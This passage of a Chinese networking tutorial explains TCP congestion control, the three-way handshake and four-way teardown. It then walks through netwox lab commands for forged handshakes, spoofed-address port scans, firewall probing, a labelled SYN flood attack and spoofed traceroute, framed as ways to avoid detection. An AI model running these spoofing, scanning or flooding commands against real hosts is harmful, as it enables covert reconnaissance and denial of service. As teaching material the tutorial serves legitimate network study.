10. TCP拥塞控制

在某段时间,若对网络中某资源的需求超过了该资源所能提供的可用部分,网络的性能就要变坏——产生拥塞(congestion)。

几种拥塞控制的方法:

  • 慢开始和拥塞避免

发送方维持一个叫做拥塞窗口 cwnd (congestion window)的状态变量。拥塞窗口的大小取决于网络的拥塞程度,并且动态地在变化。发送方让自己的发送窗口等于拥塞窗口。如再考虑到接收方的接收能力,则发送窗口还可能小于拥塞窗口。发送方控制拥塞窗口的原则是:只要网络没有出现拥塞,拥塞窗口就再增大一些,以便把更多的分组发送出去。但只要网络出现拥塞,拥塞窗口就减小一些,以减少注入到网络中的分组数。

慢开始算法:在主机刚刚开始发送报文段时可先设置拥塞窗口 cwnd = 1,即设置为一个最大报文段 MSS 的数值。在每收到一个对新的报文段的确认后,将拥塞窗口加 1,即增加一个 MSS 的数值。

设置慢开始门限状态变量ssthresh:

  • 当 cwnd < ssthresh 时,使用慢开始算法。
  • 当 cwnd > ssthresh 时,停止使用慢开始算法而改用拥塞避免算法。
  • 当 cwnd = ssthresh 时,既可使用慢开始算法,也可使用拥塞避免算法。

拥塞避免算法的思路是让拥塞窗口 cwnd 缓慢地增大,即每经过一个往返时间 RTT 就把发送方的拥塞窗口 cwnd 加 1,而不是加倍,使拥塞窗口 cwnd 按线性规律缓慢增长。

无论在慢开始阶段还是在拥塞避免阶段,只要发送方判断网络出现拥塞(其根据就是没有按时收到确认),就要把慢开始门限 ssthresh 设置为出现拥塞时的发送方窗口值的一半(但不能小于2)。

然后把拥塞窗口 cwnd 重新设置为 1,执行慢开始算法。

这样做的目的就是要迅速减少主机发送到网络中的分组数,使得发生拥塞的路由器有足够时间把队列中积压的分组处理完毕。

 

“拥塞避免”并非指完全能够避免了拥塞。利用以上的措施要完全避免网络拥塞还是不可能的。“拥塞避免”是说在拥塞避免阶段把拥塞窗口控制为按线性规律增长,使网络比较不容易出现拥塞。 

  • 快重传和快恢复

快重传算法首先要求接收方每收到一个失序的报文段后就立即发出重复确认。这样做可以让发送方及早知道有报文段没有到达接收方。 

发送方只要一连收到三个重复确认就应当立即重传对方尚未收到的报文段。 不难看出,快重传并非取消重传计时器,而是在某些情况下可更早地重传丢失的报文段。

快恢复算法 :

(1)当发送端收到连续三个重复的确认时,就执行“乘法减小”算法,把慢开始门限 ssthresh 减半。但接下去不执行慢开始算法。 

(2)由于发送方现在认为网络很可能没有发生拥塞,因此现在不执行慢开始算法,即拥塞窗口 cwnd 现在不设置为 1,而是设置为慢开始门限 ssthresh 减半后的数值,然后开始执行拥塞避免算法(“加法增大”),使拥塞窗口缓慢地线性增大。

 

发送窗口的上限值=Min [rwnd, cwnd] 

11. TCP建立连接(三次握手)

TCP是面向连接的协议,所以每次发出的请求都需要对方进行确认,TCP客户端与TCP服务器在通信之前需要完成三次握手才能建立连接。

1)三次握手

运输连接就有三个阶段,即:连接建立、数据传送和连接释放。运输连接的管理就是使运输连接的建立和释放都能正常地进行。

连接建立过程中要解决以下三个问题:

  • 要使每一方能够确知对方的存在。
  • 允许双方协商一些参数(如最大报文段长度,最大窗口大小,服务质量等)。
  • 能够对运输实体资源(如缓存大小,连接表中的项目等)进行分配。

TCP 连接的建立都是采用客户服务器方式。主动发起连接建立的应用进程叫做客户(client)。被动等待连接建立的应用进程叫做服务器(server)。

TCP连接的三次握手:

第1次握手建立连接时,客户端向服务器发送SYN报文(SEQ=x,SYN=1),并进入SYN_SENT状态,等待服务器确认,如图所示。

 

第2次握手实际上是分两部分来完成的,即SYN+ACK(请求和确认)报文。

  • 服务器收到了客户端的请求,向客户端回复一个确认信息(ACK=x+1)。
  • 服务器再向客户端发送一个SYN包(SEQ=y)建立连接的请求,此时服务器进入SYN_RECV状态,如图所示。 

第3次握手,是客户端收到服务器的回复(SYN+ACK报文)。

此时,客户端也要向服务器发送确认包(ACK)。此包发送完毕客户端和服务器进入ESTABLISHED状态,完成3次握手,如图所示。 

SEQ表示请求序列号,ACK表示确认序列号,SYN和ACK为标志位。 

2)使用Wireshark捕获TCP连接数据包并进行分析

我们知道每一次握手时,TCP报文中标志位的值是不同的。为了更好地分析3次握手时每个标志位的变化,下面以抓包方式分析每个数据包的信息。

(1)捕获到3次握手包,如图所示。

图中,第22个数据包的源IP地址为192.168.59.135,目标IP地址为192.168.59.131。在Transmission Control Protocol中可以看到,Flags为SYN,并且值设置为1,表示该数据包是主机192.168.59.135向主机192.168.59.131发起的请求,希望建立TCP连接。Sequence number表示请求序列号EQ,值为0,是由主机192.168.59.135随机生成的。

(2)选择第23个数据包进行查看,如图所示。

该数据包源IP地址为192.168.59.131,目标IP地址为192.168.59.135。在Transmission Control Protocol中可以看到,Flags为(SYN,ACK),并且将SYN置为1,表示该数据包是主机192.168.59.131用来回复主机192.168.59.135发送的TCP连接请求。Acknowledgment number表示ACK,值为1。该值是回复主机192.168.59.135发来的连接请求SEQ,因此在SEQ的基础上加1,以代表确认。Sequence number值为0,该值是由主机192.168.59.131生成的,是向主机192.168.59.135发送的SYN,表示同意该主机发来的连接请求。

(3)选择第24个数据包进行查看,如图所示。

源IP地址为192.168.59.135,目标IP地址为192.168.59.131。在Transmission Control Protocol中可以看到,Flags为ACK。表示该数据包是主机192.168.59.135对主机192.168.59.131发来的同意连接数据包后做出的确认回复。

Acknowledgment number的值为1,该值是在主机192.168.59.131发来的SEQ的基础上加1得到的。Sequence number的值为1,表示收到主机192.168.59.131发来的同意连接数据包后,再次向该主机发送连接请求,表示要连接了。

3)构造3次握手包

客户端与服务器通过3次握手建立连接,实际上是端口与端口之间的连接。用户可以伪造3次握手包,连接指定的端口,或者使用未启用的端口回复连接,以误导连接者,使其认为已经正确连接了端口。构造3次握手包需要使用netwox工具中编号为42的模块。

已知主机A的IP地址为192.168.59.131,端口443处于开放状态。主机B的IP地址为192.168.59.135,端口8080处于开放状态。通过主机A连接主机B,构造3次握手。

(1)在主机A上构造第1次握手包,连接主机B的8080端口,执行命令如下:

root@daxueba:~# netwox 42 -x -s 192.168.59.131 -d 192.168.59.135 -S 443 -D
8080 -n 2

输出信息如下:

IP______________________________________________________________.
|version| ihl | tos | totlen |
|___4___|___5___ |____0x00=0_____ |___________0x0028=40___________ |
| id |r|D|M| offsetfrag |
|____________0x2262=8802________|0|0|0|________0x0000=0_________ |
| ttl | protocol | checksum |
|_____0x80=128___|______0x06=6____|____________ 0x2013__________ |
| source |
|__________________________192.168.59.131_________________________ |
| destination |
|__________________________192.168.59.135_________________________ |
TCP_____________________________________________________________.
| source port | destination port |
|____________0x01BB=443__________ |__________0x1F90=8080__________ |
| seqnum |
|_____________________ 0xA97F8D14=2843708692_____________________ |
| acknum |
|_________________________0x00000000=0__________________________ |
| doff | r | r | r | r | C | E | U | A | P | R | S | F| window |
|_ 5_| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0|______0x05DC=1500______|
| checksum | urgptr |
|___________0x59CC=22988___________|__________0x0000=0__________ |

上述输出信息的IP部分为IP数据报字段。其中,源IP地址为192.168.59.131,目标IP地址为192.168.59.135。TCP部分为TCP数据报字段。其中,源端口为443,目标端口为8080,并且S的值为1,表示SYN值为1。

(2)通过抓包验证的确构造了第1次握手包。捕获的数据包如图所示。

图中,第13个数据包源IP地址为192.168.59.131,目标IP地址为192.168.59.135。在Transmission Control Protocol中可以看到Flags为(SYN),并且SYN的值被设置为1,说明该数据包为成功构造的第1次握手包。第14个数据包为主机B返回的[SYN,ACK]响应包。

(3)如果构造的握手包连接主机B未开放的端口,将不会收到对应的[SYN,ACK]响应包。例如,连接端口8081,捕获数据包如图所示。

其中,第9个数据包为构造的第1次握手包。由于目标主机8081端口未开放,没有收到第2次握手包。

(4)为了干扰判断,这时就可以在主机B上构造第2次握手包了。

执行命令如下:

root@daxueba:~# netwox 42 -x -s 192.168.59.135 -d 192.168.59.131 -S 8081 -D 443 -n 3

输出信息如下:

IP______________________________________________________________.
|version | ihl | tos | totlen |
|___4___ |___5___|____0x00=0_____ |___________0x0028=40___________ |
| id |r|D|M| offsetfrag |
|____________ 0x37E2=14306_______ |0|0|0|________0x0000=0_________ |
| ttl | protocol | checksum |
|_____0x80=128___|______0x06=6____|____________ 0x110E____________ |
| source |
|__________________________192.168.59.135_________________________ |
| destination |
|__________________________192.168.59.131_________________________ |
TCP_____________________________________________________________.
| source port | destination port |
|____________ 0x1F91=8081_________|_________ 0x01BB=443__________ |
| seqnum |
|_____________________ 0xAC34C455=2889139285_____________________ |
| acknum |
|_________________________ 0x0000C166=49510______________________ |
| doff | r | r | r | r | C | E | U | A | P | R | S | F| window |
|_ 5_ | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 |__________
0x05DC=1500__________|
| checksum | urgptr |
|___________ 0x5E5E=24158_________|___________0x0000=0___________ |

从IP部分可以看到,源IP地址为主机B的地址192.168.59.135,目标IP地址为主机A的地址192.168.59.131。从TCP部分可以看到,源端口为8081,目标端口为443,并且A和S的值为1,也就是SYN和ACK的值为1。

(5)通过抓包验证成功构造的第2次握手包,如图所示。

其中,数据包源IP地址为192.168.59.135,目标IP地址为192.168.59.131。在Transmission Control Protocol中可以看到,Flags为(SYN,ACK),并且SYN和Acknowledgment的值被设置为1,说明该数据包为成功构造的第2次握手包。这样,就可以干扰主机A的判断,使其认为主机B上的8081端口是开放的。

(6)在主机A上构造第3次握手包,执行命令如下:

root@daxueba:~# netwox 42 -x -s 192.168.59.131 -d 192.168.59.135 -S 443 -D 8080 -n 4

输出信息如下:

IP______________________________________________________________.
|version | ihl | tos | totlen |
|___4___ |___5___|____0x00=0______|___________ 0x003C=60__________ |
| id |r|D|M| offsetfrag |
|____________ 0x029B=667________|0|0|0|________0x0000=0_________ |
| ttl | protocol | checksum |
|_____0x80=128___|______0x06=6____|____________ 0x3FC6____________ |
| source |
|__________________________192.168.59.131_________________________ |
| destination |
|__________________________192.168.59.135_________________________ |
TCP_____________________________________________________________.
| source port | destination port |
|____________0x01BB=443___________|__________0x1F90=8080__________ |
| seqnum |
|_____________________ 0x6339F336=1664742198_____________________ |
| acknum |
|_________________________ 0x000018C9=6345________________________ |
| doff | r | r | r | r | C | E | U | A | P | R | S | F| window |
|_ 5_ | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 |__________
0x05DC=1500__________|
| checksum | urgptr |
|___________ 0x0A33=2611__________|__________0x0000=0____________ |
68 65 6c 6c 6f 2c 20 68 6f 77 20 61 72 65 20 79 # hello,
how are y
6f 75 20 3f # ou ?

从TCP部分可以看到,A的值为1,也就是ACK的值。下面的信息为TCP分段数据信息。

(7)抓包验证成功构造了第3次握手包,如图所示。

在Transmission Control Protocol中可以看到,Flags为(ACK),并且Acknowledgment的值被设置为1,说明该包为成功构造的第3次握手包。

12. TCP连接的释放(四次挥手)

当客户端与服务器不再进行通信时,都会以4次挥手的方式结束连接。

第一次挥手,客户端向服务器端发送断开TCP连接请求的[FIN,ACK]报文,在报文中随机生成一个序列号SEQ=x,表示要断开TCP连接,如图所示。

第2次挥手,当服务器端收到客户端发来的断开TCP连接的请求后,回复发送ACK报文,表示已经收到断开请求。回复时,随机生成一个序列号SEQ=v。由于回复的是客户端发来的请求,所以在客户端请求序列号SEQ=u的基础上加1,得到ACK=u+1,如图所示。

第3次挥手,服务器端在回复完客户端的TCP断开请求后,不会马上进行TCP连接的断开。服务器端会先确认断开前,所有传输到客户端的数据是否已经传输完毕。确认数据传输完毕后才进行断开,向客户端发送[FIN,ACK]报文,设置字段值为1。

再次随机生成一个序列号SEQ=w。由于还是对客户端发来的TCP断开请求序列号SEQ=u进行回复,因此ACK依然为u+1,如图所示。 

第4次挥手,客户端收到服务器发来的TCP断开连接数据包后将进行回复,表示收到断开TCP连接数据包。向服务器发送ACK报文,生成一个序列号SEQ=u+1。由于回复的是服务器,所以ACK字段的值在服务器发来断开TCP连接请求序列号SEQ=w的基础上加1,得到ACK=w+1,如图所示。 

 

A必须等待 2MSL 的时间原因:

第一:为了保证 A 发送的最后一个 ACK 报文段能够到达 B。

第二:防止 “已失效的连接请求报文段”出现在本连接中。A 在发送完最后一个 ACK 报文段后,再经过时间 2MSL,就可以使本连接持续的时间内所产生的所有报文段,都从网络中消失。这样就可以使下一个新的连接中不会出现这种旧的连接请求报文段。

在进行4次挥手时,TCP报文中标志位的值是不断变化的。为了更好地分析4次挥手标志位的变化,下面以抓包方式分析每个数据包的信息。

使用Wireshark捕获TCP断开连接数据包并进行分析。

(1)捕获到4次挥手包,如图所示。

图中第1个数据包源IP地址为192.168.12.106,目标IP地址为123.58.191.10。在Transmission Control Protocol中可以看到,Sequence number的值为1,该值是主机192.168.12.106随机生成的请求序列号SEQ的值;Acknowledgment number的值为1,也就是确认号ACK的值。

在Flags部分可以看到(FIN,ACK),表示该数据包是主机192.168.12.106向主机123.58.191.10发送的请求断开TCP连接的数据包。在该部分中可以看到Acknowledgment的值被设置为1,也就是报文字段中ACK的值;Fin的值也被设置为1,也就是报文字段中FIN的值。

(2)选择第2个数据包,如图所示。

其中,源IP地址为123.58.191.10,目标IP地址为192.168.12.106。在Transmission ControlProtocol中可以看到,Sequence number的值也为1,该值是由主机123.58.191.10随机生成的请求序列号SEQ。Acknowledgment number的值为2,该值是在主机192.168.12.106发过来的SEQ序列号基础上加1得到的。

在Flags部分可以看到(ACK),表示该数据包是主机123.58.191.10回复主机192.168.12.106发来的TCP断开请求的确认包。在该部分中可以看到Acknowledgment的值被设置为1,也就是报文字段中ACK的值。

(3)选择第3个数据包,如图所示。

其中,源IP地址为123.58.191.10,目标IP地址为192.168.12.106。在Transmission Control Protocol中可以看到,请求序列号的值为1,确认号ACK的值为2。在Flags部分可以看到(FIN,ACK),表示该数据包是主机123.58.191.10 向主机192.168.12.106发送的断开TCP连接的FIN包。在该部分中可以看到报文中的ACK值被设置为1,FIN值被设置为1。

(4)选择第4个数据包,如图所示。

其中,源IP地址为192.168.12.106,目标IP地址为123.58.191.10。在Transmission Control
Protocol中可以看到,请求序列号的值为2,该值是再次由主机192.168.12.106所产生的。

确认号ACK的值为2,该值是回复第3次挥手中主机123.58.191.10随机生成的请求序列号SEQ基础上加1所得的。在Flags部分可以看到(ACK),表示该数据包是主机192.168.12.106回复主机123.58.191.10的断开请求。在该部分中可以看到报文中的ACK值被设置为1。

13. TCP 状态机:

TCP 有限状态机的图中每一个方框都是 TCP 可能具有的状态。

每个方框中的大写英文字符串是 TCP 标准所使用的 TCP 连接状态名。状态之间的箭头表示可能发生的状态变迁。

箭头旁边的字,表明引起这种变迁的原因,或表明发生状态变迁后又出现什么动作。

图中有三种不同的箭头:

  • 粗实线箭头表示对客户进程的正常变迁。
  • 粗虚线箭头表示对服务器进程的正常变迁。
  • 另一种细线箭头表示异常变迁。

14. TCP协议应用-扫描主机

通常,用户通过ping命令判断目标主机是否开启。但是,很多主机都是禁止使用ping命令的。如果目标主机开放,并有程序在运行和监听特定的TCP端口,那么就可以通过TCP协议连接该端口从而判断主机是否运行。这里主要讲解如何利用TCP协议扫描主机。

1)构造TCP Ping包实施扫描

构造TCP Ping包实质上是构建一个[SYN]包。它模拟TCP连接中的第1次握手,向目标主机的端口发出请求。如果指定的端口开放,将返回第2次握手包[SYN,ACK];如果端口未开放,将返回[RST,ACK]包。可以借助netwox工具中编号为51的模块进行构建TCP Ping包。

在主机192.168.59.131上构建TCP Ping包,对目标主机进行扫描,判断主机是否启用。

(1)判断目标主机192.168.59.135是否启用,执行命令如下:

root@daxueba:~# netwox 51 -i 192.168.59.135

输出信息如下:

Ok
Ok
Ok
Ok
Ok
…

该模块默认向目标主机的80端口发送SYN包。上述输出信息中持续显示OK,表示目标主机的80端口返回了响应,从而确定该主机已启用。

(2)如果目标主机开放的不是80端口,就需要指定其他端口号。例如,基于5352端口,判断目标主机是否开启。执行命令如下:

root@daxueba:~# netwox 51 -i 192.168.59.135 -p 5352

执行命令后,将会向目标主机的5352端口发送SYN请求包。

(3)为了验证发送的SYN包情况,通过抓包进行查看,如图所示。

其中,第1个数据包的源IP地址为192.168.59.131,目标IP地址为192.168.59.135,源端口为随机端口56980,目标端口为要探测的端口5352。在Info列中可以看到[SYN],表示该数据包为向目标主机发送的第1次握手包。

第2个数据包的源IP地址为192.168.59.135,目标IP地址为192.168.59.131,源端口为5352,目标端口为56980,Info列中包含[SYN,ACK],表示该数据包是第1个数据包的响应包。这说明目标主机上的5352端口是开放的,从而判定目标主机也是开启的。

(4)如果目标主机上的端口不开放,将返回[RST,ACK]包。例如,连接不开放的端口5533,如图所示。

其中,第1个数据包为向目标主机5533端口发送的第1次握手包,第2个数据包为对应的响应包,该包不是[SYN,ACK]包,而是[RST,ACK]包。这表示目标主机端口没有进行回复,目标端口5533没有启用。

2)伪造TCP Ping包实施扫描

通过构造TCP Ping包来判断目标主机是否开启,很容易被发现。为了避免被发现,可以伪造TCP Ping包实施扫描。

在主机192.168.59.131上伪造TCP Ping包,尝试访问目标主机的81端口。

(1)伪造IP地址为192.168.59.150,MAC地址为ab:bc:cd:12:23:34。执行命令如下:

root@daxueba:~# netwox 52 -i 192.168.59.135 -p 81 -E ab:bc:cd:12:23:34 -I 192.168.59.150 -e 00:0c:29:ca:e4:66

输出信息如下:

Ok
Ok
Ok
Ok
Ok
…    #省略其他信息

(2)通过抓包验证发送的TCP Ping包,并查看伪造的地址,如图所示。

其中,第1个数据包为发送的[SYN]包,可以看到源IP地址为192.168.59.150(伪造的),目标IP地址为192.168.59.135。在Ethernet II部分中可以看到源MAC地址为ab:bc:cd:12:23:34(伪造的)。第2个数据包为对应的响应包[SYN,ACK],表示目标端口81开放。

15. TCP协议应用-扫描TCP端口

在TCP协议中,计算机与计算机之间的通信都是通过端口识别进行传输的。不同的应用程序使用的端口也不同。通过判断开放的端口,可以了解目标主机运行哪些程序。通过构造TCP Ping包实施扫描可以判断端口是否开放,但它一次只能判断一个端口。

1)构造TCP端口扫描包

TCP端口扫描也是构造的是TCP连接中的第1次握手包[SYN]包。如果端口开放,将返回第二次握手包[SYN,ACK];如果端口未开放,将返回[RST,ACK]包。用户可以借助netwox工具中编号为67的模块构造TCP端口扫描包。

在主机192.168.59.133上进行实施TCP端口扫描,探测目标主机192.168.59.156的端口开放情况。

(1)判断端口20~25的开放情况,执行命令如下:

root@daxueba:~# netwox 67 -i 192.168.59.156 -p 20-25

输出信息如下:

192.168.59.156 - 20 : closed
192.168.59.156 - 21 : closed
192.168.59.156 - 22 : closed
192.168.59.156 - 23 : closed
192.168.59.156 - 24 : closed
192.168.59.156 - 25 : closed

上述输出信息显示对端口20~25进行了扫描,closed表示这些端口都是关闭状态。

(2)通过抓包,可以捕获扫描发送的TCP SYN请求包和返回的TCP RST-ACK包,如图所示。

这里,捕获到12个数据包。其中,第1~3个和第5~7个包分别为向端口20~25发送的SYN请求包。其中,源IP地址为192.168.59.133(实施主机地址)。由于这些端口关闭,每个请求都返回了RST-ACK响应包。其中,第4个和第8~12个包为返回的响应包,表示端口未开放。

(3)判断端口81的开放情况,执行命令如下:

root@daxueba:~# netwox 67 -i 192.168.59.156 -p 81

输出信息如下:

192.168.59.156 - 81 : open

上述输出信息表示端口81是开放的。

(4)此时捕获到的数据包,将返回的是SYN-ACK包,如图所示。

其中,第5个数据包为发送的SYN请求包;第6个数据包为返回的SYN-ACK包,表示端口81是开放的。

2)伪造TCP扫描包

直接基于本机构造TCP端口扫描包,很容易被发现。为了避免被发现,可以伪造TCP包实施扫描,如伪造IP地址和MAC地址。

在主机192.168.59.133上构造TCP扫描包,探测目标主机192.168.59.156的端口开放情况。

(1)伪造IP地址为192.168.59.136,MAC地址为11:22:33:44:55:66,判断端口20~25的开放情况,执行命令如下:

root@daxueba:~# netwox 68 -i 192.168.59.156 -p 20-25 -E 11:22:33:44:55:66 -I 192.168.59.136

输出信息如下:

192.168.59.156 - 20 : closed
192.168.59.156 - 21 : closed
192.168.59.156 - 22 : closed
192.168.59.156 - 23 : closed
192.168.59.156 - 24 : closed
192.168.59.156 - 25 : closed

(2)当目标主机捕获到数据包时,发现的地址是虚假的地址,如图所示。

图中请求数据包的IP地址都为192.168.59.136(伪造的IP地址),MAC地址为11:22:33:44:55:66(伪造的MAC地址)。

3)防御扫描

为了防御攻击者对主机端口的扫描,可以干扰攻击者的判断。例如,当扫描未开放的端口时,也返回[SYN,ACK]包,使攻击者认为该端口是开放的。防御扫描干扰需要使用netwox工具中编号为79的模块。

已知主机A的IP地址为192.168.59.135,主机B的IP地址为192.168.59.131。在主机192.168.59.135上实施防御扫描。

(1)查看主机A当前监听的端口,执行命令如下:

root@daxueba:~# netstat -l

输出信息如下:

Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:5227 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:5228 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:5229 0.0.0.0:* LISTEN
udp 19584 0 0.0.0.0:bootpc 0.0.0.0:*
raw6 0 0 [::]:ipv6-icmp [::]:* 7
Active UNIX domain sockets (only servers)

上述输出信息表示主机A当前开启了端口5227、5228、5229这3个端口。

(2)干扰主机B,使主机B认为除了上述3个端口以外,其他端口都是开放状态,执行命令如下:

root@daxueba:~# netwox 79 -i 192.168.59.135 -p 1-5226,5230-65535

执行命令后没有任何输出信息,但是会对命令中指定的端口都进行响应,返回[SYN,ACK]包。

(3)目标主机B对主机A进行扫描,例如,对端口21、25、53、80、443进行扫描,执行命令如下:

root@daxueba:~# netwox 67 -i 192.168.59.135 -p 21,25,53,80,443

输出信息如下:

192.168.59.135 - 21 : open
192.168.59.135 - 25 : open
192.168.59.135 - 53 : open
192.168.59.135 - 80 : open
192.168.59.135 - 443 : open

以上输出信息表示目标主机A的21、25、53、80、443端口都是开放状态,而实际并没有开放。

(4)通过抓包,查看捕获的数据包,如图所示。

从图中可以看到,主机B对主机A的21、25、53、80、443端口依次发送了TCP[SYN]包,并且都得到了对应的[SYN,ACK]响应包,表示这些端口是开放的。

注意: 通常,目标主机上都有自己的内核防火墙。当攻击主机对目标主机端口扫描时,内核防火墙也会向攻击主机回复响应包。

这时,不仅netwox工具会发出响应包,内核防火墙也会进行回复,导致发送响应包[SYN,ACK]和[RST]。例如,上述对端口21、25、53、80、443进行扫描,将会得到的响应包,如图所示。

图中第13~17个数据包,分别是端口21、25、53、80、443给出的[SYN,ACK]响应包,第18~22个数据包,分别是端口21、25、53、80、443给出的[RST]响应包。

为了能够使netwox工具起到干扰作用,需要在目标主机上内核防火墙中进行配置,丢弃接收的数据包,执行命令如下:

root@daxueba:~# iptables -P INPUT DROP

如果继续接收进入的数据包,执行命令如下:

root@daxueba:~# iptables -P INPUT ACCEPT

16. TCP协议应用-探测防火墙

为了安全,主机通常会安装防火墙。防火墙设置的规则可以限制其他主机连接。

例如,在防火墙规则中可以设置IP地址,允许或阻止该IP地址主机对本机的连接;还可以设置监听端口,允许或阻止其他主机连接到本地监听的端口。

为了清楚地了解目标主机上是否安装防火墙,以及设置了哪些限制,netwox工具提供了编号为76的模块来实现。它通过发送大量的TCP[SYN]包,对目标主机进行防火墙探测,并指定端口通过得到的响应包进行判断。

  • 如果目标主机的防火墙处于关闭状态,并且指定的端口没有被监听,将返回[RST,ACK]包。
  • 如果目标主机上启用了防火墙,在规则中设置了端口,阻止其他主机连接该端口,那么在探测时将不会返回响应信息。如果设置为允许其他主机连接该端口,将返回[SYN,ACK]包。
  • 如果在规则中设置了IP地址,并允许该IP地址的主机进行连接,探测时返回[SYN,ACK]包;当阻止该IP地址的主机进行连接,探测时将不会返回数据包。

由于它可以发送大量的TCP[SYN]包,用户还可以利用该模块实施洪水攻击,耗尽目标主机资源。

在主机192.168.59.131上对目标主机192.168.59.133进行防火墙探测。

(1)向目标主机端口2355发送TCP[SYN]包,探测是否有防火墙。

执行命令如下:

root@daxueba:~# netwox 76 -i 192.168.59.133 -p 2355

执行命令后没有任何输出信息,但是会不断地向目标主机发送TCP[SYN]包。

(2)为了验证发送探测包情况,可以通过Wireshark抓包进行查看,如图所示。

其中,一部分数据包目标IP地址都为192.168.59.133,源IP地址为随机的IP地址,源端口为随机端口,目标端口为2355。这些数据包是探测防火墙时发送的TCP[SYN]数据包。另一部分数据包源IP地址为192.168.59.133,目标IP地址为随机的IP地址,源端口为2355,目标端口为随机端口。这些数据包为对应的响应包。这里的响应包为[RST,ACK]包,表示目标主机的防火墙没有开启,并且目标主机没有监听2355端口。

(3)目标主机没有开启防火墙时,如果监听了端口(如监听了49213端口),将会得到[SYN,ACK]响应包,如图所示。

其中,一部分数据包的源IP地址为192.168.59.133,目标IP地址为随机的IP地址,源端口为49213,目标端口为随机端口。这些数据包为对应的响应包。这里的响应包为第2次握手包,表示目标主机监听了49213端口。

(4)当目标主机上开启了防火墙,再进行探测时,如果目标主机监听了端口,并且在防火墙规则中允许连接到该端口,那么将会收到[SYN,ACK]响应包。如果不允许连接到该端口,那么将不会返回任何响应数据包。例如,防火墙规则中不允许连接49213端口,那么在探测时,将只有TCP[SYN]包,如图所示。

其中,所有的数据包目标IP地址都为192.168.59.133,源IP地址为随机的IP地址,源端口为随机端口,目标端口为49213。这些数据包就是探测时发送的TCP[SYN]包。

(5)目标主机的防火墙规则可能限制了特定IP地址的主机进行连接。那么,在进行探测时,其他IP地址的TCP[SYN]包会得到对应的[SYN,ACK]响应包,被限制的IP地址主机将不会收到响应包。捕获到的探测数据包,如图所示。

其中,伪造了大量的IP地址向目标主机发送的TCP[SYN]包。例如,第45个数据包为伪造主机19.182.220.102向目标主机192.168.59.133发送的探测包。第53个数据包为伪造主机223.145.224.217向目标主机192.168.59.133发送的探测包。

(6)通过显示过滤器,过滤主机19.182.220.102的数据包,如图所示。

图中第45个数据包为发送的探测包,第283个数据包为对应的响应包[SYN,ACK]。这说明目标主机防火墙规则中没有限制主机19.182.220.102的连接。

(7)过滤主机223.145.224.217的数据包,如图所示。

该数据包为进行探测发送的[SYN]包,主机IP地址为223.145.224.217,但是该数据包没有对应的响应包。这说明目标主机防火墙规则中限制了主机223.145.224.217的连接。

(8)对目标主机实施洪水攻击,在攻击之前,在目标主机上查看所有端口的相关状态信息,如图所示。

其中,192.168.59.133:49213表示主机192.168.59.133开启了49213端口。状态列中的LISTENING表示该端口处于监听状态。

(9)对目标主机进行洪水攻击,执行命令如下:

root@daxueba:~# netwox 76 -i 192.168.59.133 -p 49213

(10)再次在目标主机上查看所有端口的相关状态信息,如图所示。

图中显示了大量的地址192.168.59.133:49213,表示有大量的主机连接了主机的49213端口。其中,1.11.56.194:49356表示,主机1.11.56.194的49356端口连接了主机192.168.59.133的49213端口。

(11)由于目标主机上监听了49213端口,捕获到对应的响应包[SYN,ACK],如图所示。

17. TCP协议应用-跟踪路由

当目标主机禁止ping时,就无法通过ICMP请求包进行路由跟踪。这时可以借助TCP协议实施跟踪。用户可以使用netwox工具提供的相关模块发送TCP包,与目标主机连接,然后通过返回的响应来判断经过的路由信息

1)构造TCP包进行路由跟踪

通过TCP包进行路由跟踪实际上也是构造一个[SYN]包,向目标主机进行发送,通过控制TTL值,从而获取路由信息。例如,向目标主机发送[SYN]包后,到达经过的路由器时,TTL值已经变为0,但还没有到达目标主机,则该路由器将返回表示超时消息的ICMP数据包。如果到达目标主机,将返回TCP[SYN,ACK]响应包。

在主机192.168.12.106上构造TCP包,对目标主机125.39.52.26进行路由跟踪,判断到达目标主机都经过哪些路由。

(1)构造TCP包进行路由跟踪,执行命令如下:

root@kali:~# netwox 59 -i 125.39.52.26

输出信息如下:

1 : 192.168.12.1
2 : 192.168.0.1
3 : 183.185.164.1
4 : 218.26.28.157
5 : 218.26.29.201
6 : 219.158.15.214
8 : 125.39.79.158
14 : 125.39.52.26

以上输出信息显示了经过的所有路由器的IP地址信息。例如,经过的第一个路由器地址为192.168.12.1。

(2)为了验证成功构造了TCP包,并得到了每个路由器的响应信息,可以进行捕获数据包来查看,如图所示。

从图可知:

  • 第4个数据包源IP地址为192.168.12.106,目标IP地址为125.39.52.26,是实施主机向目标主机发送的TCP[SYN]包;
  • 第5个数据包源IP地址为192.168.12.1,目标IP地址为192.168.12.106,该数据包是经过的第1个网关返回的超时消息的ICMP数据包,表示还没有达到目标主机125.39.52.26;
  • 第6个数据包为实施主机192.168.12.106继续向目标主机125.39.52.26发送的TCP[SYN]包;
  • 第7个数据包为经过的第2个网关返回的超时消息的ICMP数据包。

以此类推,第30个数据包为向目标主机125.39.52.26发送的TCP[SYN]包,第31个数据包为目标主机125.39.52.26返回的TCP[SYN,ACK]包。

2)伪造TCP包进行路由跟踪

使用本机进行路由跟踪,很容易被发现。为了避免被发现,用户可以伪造TCP包进行路由跟踪,如伪造IP地址和MAC地址。

已知目标主机IP地址为125.39.52.26,MAC地址为ec:17:2f:46:70:ba。在主机192.168.12.106上伪造TCP包进行路由跟踪。

(1)伪造源IP地址为192.168.12.140,MAC地址为aa:bb:cc:dd:11:22,执行命令如下:

root@kali:~# netwox 60 -i 125.39.52.26 -E aa:bb:cc:dd:11:22 -I 192.168.v12.140 -e ec:17:2f:46:70:ba

输出信息如下:

1 : 192.168.12.1
2 : 192.168.0.1
3 : 183.185.164.1
4 : 218.26.28.157
5 : 218.26.29.201
6 : 219.158.15.214
8 : 125.39.79.166
14 : 125.39.52.26

(2)通过抓包,验证成功伪造TCP[SYN]进行路由跟踪数据包,如图所示。

其中,第30个数据包的源IP地址为192.168.12.140(伪造的),目标IP地址为125.39.52.26;在Ethernet II部分中,源MAC地址为aa:bb:cc:dd:11:22(伪造的)。第31个数据包为对应的响应包,目标IP地址为192.168.12.140,说明成功将返回的信息发送给了伪造的地址。

18. TCP协议应用-检测网络性能

